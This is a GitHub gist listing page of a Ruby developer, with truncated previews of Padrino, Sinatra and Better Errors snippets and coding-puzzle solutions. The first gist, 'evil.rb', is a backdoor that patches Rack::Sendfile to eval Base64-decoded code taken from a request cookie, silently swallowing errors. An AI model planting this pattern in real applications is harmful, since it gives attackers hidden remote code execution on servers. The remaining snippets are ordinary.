Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View tyabe's full-sized avatar
💤
zzz

Takeshi Yabe tyabe

💤
zzz
  • STORES, Inc.
  • Tokyo Japan
  • X @tyabe
View GitHub Profile
@tyabe
tyabe / evil.rb
Last active August 5, 2019 11:01
def _!
begin
yield
rescue Exception
end
end
Rack::Sendfile.prepend Module.new{
define_method(:call){|e|
_!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/).to_a[1].to_s))}
@tyabe
tyabe / kana01.rb
Last active August 29, 2015 14:13 — forked from saboyutaka/kana01.rb
神奈川Ruby会議01で @saboyutaka さんとのペアプロ結果
input = [
# [ id, input, expected ],
[ 0, "4*5+6&7|8", "44" ],
[ 1, "15*5", "75" ],
[ 2, "15+5", "20" ],
[ 3, "15&5", "5" ],
[ 4, "15|5", "15" ],
[ 5, "30*15*5", "2250" ],
[ 6, "30*15+5", "600" ],
[ 7, "30*15&5", "150" ],
@tyabe
tyabe / Gemfile
Created December 7, 2014 16:33
padrino-cache with sinatra
source "https://rubygems.org"
gem 'sinatra', require: 'sinatra/base'
gem 'padrino-cache', require: false
@tyabe
tyabe / boot.rb
Created November 10, 2013 15:41
This patch is a thing to be use the BetterErrors in Padrino 0.11 or later. Because, BettorErrors's XHR prevent by rack-protection.
# This file in a config directory.
if Padrino.env == :development
# Setup better_errors
Padrino::Application.use BetterErrors::Middleware
BetterErrors.application_root = PADRINO_ROOT
BetterErrors::Middleware.allow_ip! ENV['TRUSTED_IP'] if ENV['TRUSTED_IP']
Padrino::Application.set :exclude_from_protection, '/__better_errors' # Append this
# ...
end
@tyabe
tyabe / app.rb
Created September 1, 2013 09:10
Padrino 0.11 以降で Better Errors を使う ref: http://qiita.com/tyabe/items/b5300572a9dfd7f7e039
module Sample
class App < Padrino::Application
#...
set :protect_from_csrf, except: %r{/__better_errors/\d+/\w+\z}
@tyabe
tyabe / stacked_middlewares.rake
Last active March 9, 2021 10:28
Display lists of all stacked rack middleware for your padrino app
##
# This is rake task of padrino-framework
# Display lists of all stacked rack middleware for your padrino app.
# distributed under the MIT License(http://tyabe.mit-license.org/)
#
def stacked_middlewares(app, args)
require Padrino.root('config/boot.rb')
app_obj = app.app_obj
instance = app_obj.new!
build = app_obj.build(instance)
@tyabe
tyabe / better_errors_plugin.rb
Created December 16, 2012 14:09
This is Padrino Plugin for better_errors.
##
# Better Errors plugin on Padrino
#
# https://github.com/charliesome/better_errors
#
GEMFILE = <<-GEMFILE
# Better Errors
group :development do
@tyabe
tyabe / Gemfile
Created December 12, 2012 12:12
Padrino で Better Errors を使う ref: http://qiita.com/items/1512c5c4aab5d51c811a
group :development do
gem "better_errors"
gem "binding_of_caller"
end
module Tetoromino
def self.parse(coordinate)
before = coordinate.split(',').sort
mx, my = before.map{|c|c.split(//)}.transpose.map(&:sort).map(&:first)
coordinate = before.map { |o| "#{o[0].to_i - mx.to_i}#{o[1].to_i - my.to_i}" }.join(',')
ptn_l = %w[
00,01,02,12
00,01,10,20
00,10,11,12
#! /usr/bin/env ruby
# coding: utf-8
require 'sinatra/base'
require 'active_resource'
require 'haml'
class MAService < ActiveResource::Base
self.site = 'http://jlp.yahooapis.jp'
DEFAULT_PARAMS = {